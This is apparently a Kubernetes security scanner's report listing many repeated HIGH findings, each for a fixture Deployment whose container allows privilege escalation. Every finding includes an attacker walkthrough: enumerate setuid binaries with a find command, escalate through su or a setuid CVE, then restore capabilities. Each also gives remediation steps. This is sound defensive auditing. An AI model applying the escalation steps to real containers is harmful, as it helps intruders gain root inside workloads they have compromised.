Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-image either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/containersec-fixtures/containersec-lifecycle Workload 7.8
Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-lifecycle
Scope · Workload Workload Deployment/containersec-fixtures/containersec-lifecycle
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-lifecycle Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-lifecycle either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/containersec-fixtures/containersec-limits Workload 7.8
Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-limits
Scope · Workload Workload Deployment/containersec-fixtures/containersec-limits
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-limits Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-limits either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/containersec-fixtures/containersec-probes Workload 7.8
Container app allows privilege escalation in Deployment/containersec-fixtures/containersec-probes
Scope · Workload Workload Deployment/containersec-fixtures/containersec-probes
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-probes Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-probes either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n containersec-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/csr-fixtures/csr-mint-app Workload 7.8
Container app allows privilege escalation in Deployment/csr-fixtures/csr-mint-app
Scope · Workload Workload Deployment/csr-fixtures/csr-mint-app
Category: Privilege Escalation Resource: Deployment/csr-fixtures/csr-mint-app Namespace: csr-fixtures

Container app in Deployment/csr-fixtures/csr-mint-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n csr-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/csr-fixtures/csr-sign-app Workload 7.8
Container app allows privilege escalation in Deployment/csr-fixtures/csr-sign-app
Scope · Workload Workload Deployment/csr-fixtures/csr-sign-app
Category: Privilege Escalation Resource: Deployment/csr-fixtures/csr-sign-app Namespace: csr-fixtures

Container app in Deployment/csr-fixtures/csr-sign-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n csr-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/flat-network/unmatched Workload 7.8
Container app allows privilege escalation in Deployment/flat-network/unmatched
Scope · Workload Workload Deployment/flat-network/unmatched
Category: Privilege Escalation Resource: Deployment/flat-network/unmatched Namespace: flat-network

Container app in Deployment/flat-network/unmatched either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n flat-network -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/foothold-fixtures/foothold-priv-app Workload 7.8
Container app allows privilege escalation in Deployment/foothold-fixtures/foothold-priv-app
Scope · Workload Workload Deployment/foothold-fixtures/foothold-priv-app
Category: Privilege Escalation Resource: Deployment/foothold-fixtures/foothold-priv-app Namespace: foothold-fixtures

Container app in Deployment/foothold-fixtures/foothold-priv-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n foothold-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/foothold-fixtures/foothold-quiet-app Workload 7.8
Container app allows privilege escalation in Deployment/foothold-fixtures/foothold-quiet-app
Scope · Workload Workload Deployment/foothold-fixtures/foothold-quiet-app
Category: Privilege Escalation Resource: Deployment/foothold-fixtures/foothold-quiet-app Namespace: foothold-fixtures

Container app in Deployment/foothold-fixtures/foothold-quiet-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n foothold-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/gw-workloads/gw-web Workload 7.8
Container app allows privilege escalation in Deployment/gw-workloads/gw-web
Scope · Workload Workload Deployment/gw-workloads/gw-web
Category: Privilege Escalation Resource: Deployment/gw-workloads/gw-web Namespace: gw-workloads

Container app in Deployment/gw-workloads/gw-web either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n gw-workloads -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/hookbackend-fixtures/hookbackend-injector Workload 7.8
Container app allows privilege escalation in Deployment/hookbackend-fixtures/hookbackend-injector
Scope · Workload Workload Deployment/hookbackend-fixtures/hookbackend-injector
Category: Privilege Escalation Resource: Deployment/hookbackend-fixtures/hookbackend-injector Namespace: hookbackend-fixtures

Container app in Deployment/hookbackend-fixtures/hookbackend-injector either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n hookbackend-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/imgswap-fixtures/imgswap-reader-app Workload 7.8
Container app allows privilege escalation in Deployment/imgswap-fixtures/imgswap-reader-app
Scope · Workload Workload Deployment/imgswap-fixtures/imgswap-reader-app
Category: Privilege Escalation Resource: Deployment/imgswap-fixtures/imgswap-reader-app Namespace: imgswap-fixtures

Container app in Deployment/imgswap-fixtures/imgswap-reader-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n imgswap-fixtures -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/ingress-only/ingress-app Workload 7.8
Container app allows privilege escalation in Deployment/ingress-only/ingress-app
Scope · Workload Workload Deployment/ingress-only/ingress-app
Category: Privilege Escalation Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Container app in Deployment/ingress-only/ingress-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution as a non-root user (web RCE in a Node/Python/Java app).
  2. Enumerate setuid binaries: find / -perm -4000 -type f 2>/dev/null (often returns /usr/bin/passwd, /bin/su, /bin/mount, /usr/bin/newuidmap).
  3. Exploit one: su - if password-less, or a known setuid CVE.
  4. Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding.
Remediation
Set allowPrivilegeEscalation: false on every container.
  1. Add allowPrivilegeEscalation: false to each container's securityContext. Pair with capabilities.drop: [ALL] and runAsNonRoot: true.
  2. Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (find / -perm -4000 -exec chmod u-s {} +).
  3. Apply Pod Security Admission restricted to the namespace.
  4. Validate: kubectl get pod -n ingress-only -l <selector> -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}' returns false for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
HIGH Deployment/lp-fixtures/lp-narrow-app Workload 7.8
Container app allows privilege escalation in Deployment/lp-fixtures/lp-narrow-app
Scope · Workload Workload Deployment/lp-fixtures/lp-narrow-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-narrow-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-narrow-app either omits securityContext.allowPrivilegeEscalation or sets it to true. This directly controls the no_new_privs Linux process flag: when allowPrivilegeEscalation: false, the kernel sets NoNewPrivs: 1 on PID 1 in the container, and any subsequent execve() call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.

Leaving the field unset is dangerous because the runtime default is true for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like mount, ping, su, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.

The Pod Security Standards Restricted profile mandates allowPrivilegeEscalation: false precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.

Impact If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.
How an attacker abuses this
Background
ResourceDeployment

